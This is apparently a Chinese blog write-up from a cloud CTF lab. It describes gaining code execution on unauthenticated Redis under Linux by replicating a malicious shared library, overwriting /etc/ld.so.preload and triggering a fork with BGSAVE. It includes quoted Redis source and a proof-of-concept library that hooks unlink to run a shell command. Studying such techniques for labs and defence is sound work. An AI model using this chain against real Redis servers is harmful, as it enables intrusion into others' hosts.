这两天打春秋云境,新上的机子给了一个 Windows 环境下低版本 3.0.x 的 Redis,研究出来是打 DLL 劫持。我想到这个打法是否可以扩展到 Linux 环境上?
(这个打法适用环境可能比较少,因为 Windows 下 Redis 低版本是因为当时只更新到 3.x 的版本,Linux 下更多是 4、5、6 的版本。这些较高版本的攻击方式就比较多了,直接主从复制传过去个 so,加载 module 就 RCE 了。所以就写写看看吧,当成一个特殊情况的特解)
# 前置 1: 劫持 so 文件
Linux 环境下,glibc 会主动从几个位置查询会被预加载的 so 文件,顺序如下:
- LD_PRELOAD
- /etc/ld.so.preload 这个路径是被硬编码在 glibc 中,会读取其内容并加载指向的 so 文件
- LD_LIBRARY_PATH
如果这些位置没有搜索到,才会 fallback 到 /lib 或者 /usr/lib 中进入常规的共享库加载流程
Redis 未授权可以进行的操作中,可以通过主从复制无损写入文件。从而就可以实现覆盖 /etc/ld.so.preload 文件内容,使其指向我们同步过去的恶意 so 文件。这时当我们再创建新进程时,就会触发劫持实现 RCE
# 前置 2:Redis 触发点
在 Windows 下,DLL 劫持的打法是利用 dbghelp.dll 会被依赖,使用 bgsave 创建异步保存进程触发劫持。在 Linux 下,相似的思路也能触发:
寻找调用:在源码中全局搜索 bgsave 找到对应函数
寻找定义,发现是调用了 rdbSaveBackground 函数
void bgsaveCommand(redisClient *c) { | |
if (server.rdb_child_pid != -1) { | |
addReplyError(c,"Background save already in progress"); | |
} else if (server.aof_child_pid != -1) { | |
addReplyError(c,"Can't BGSAVE while AOF log rewriting is in progress"); | |
} else if (rdbSaveBackground(server.rdb_filename) == REDIS_OK) { | |
addReplyStatus(c,"Background saving started"); | |
} else { | |
addReply(c,shared.err); | |
} | |
} |
继续追踪:
找到了子进程的运行逻辑,理论上这几个函数中的调用都可以尝试劫持
比如这一处:
void closeListeningSockets(int unlink_unix_socket) { | |
int j; | |
for (j = 0; j < server.ipfd_count; j++) close(server.ipfd[j]); | |
if (server.sofd != -1) close(server.sofd); | |
if (server.cluster_enabled) | |
for (j = 0; j < server.cfd_count; j++) close(server.cfd[j]); | |
if (unlink_unix_socket && server.unixsocket) { | |
redisLog(REDIS_NOTICE,"Removing the unix socket file."); | |
unlink(server.unixsocket); /* don't care if this fails */ | |
} | |
} |
调用了 unlink
让 qwen 老师写一个劫持的共享库:
#define _GNU_SOURCE | |
#include <dlfcn.h> | |
#include <stdio.h> | |
#include <unistd.h> | |
// 原始的 unlink 函数指针 | |
typedef int (*original_unlink)(const char *pathname); | |
original_unlink real_unlink; | |
// 劫持后的 unlink 实现 | |
int unlink(const char *pathname) { | |
// 打印信息 | |
fprintf(stderr, "Intercepted unlink call for %s\n", pathname); | |
system("touch /tmp/pwned") | |
// 获取原始 unlink 函数地址 | |
if (!real_unlink) { | |
real_unlink = (original_unlink)dlsym(RTLD_NEXT, "unlink"); | |
} | |
// 调用真正的 unlink 函数 | |
return real_unlink(pathname); | |
} |
然后把这个编译好的 so 文件主从复制上去 覆盖 ld.so.preload 再触发 bgsave 就能拿下主机了
不只是 bgsave,只要能创建新进程的指令都可以作为触发点。通过查询源码中的 fork 可以找到 BGREWRITEAOF 也是一个触发点。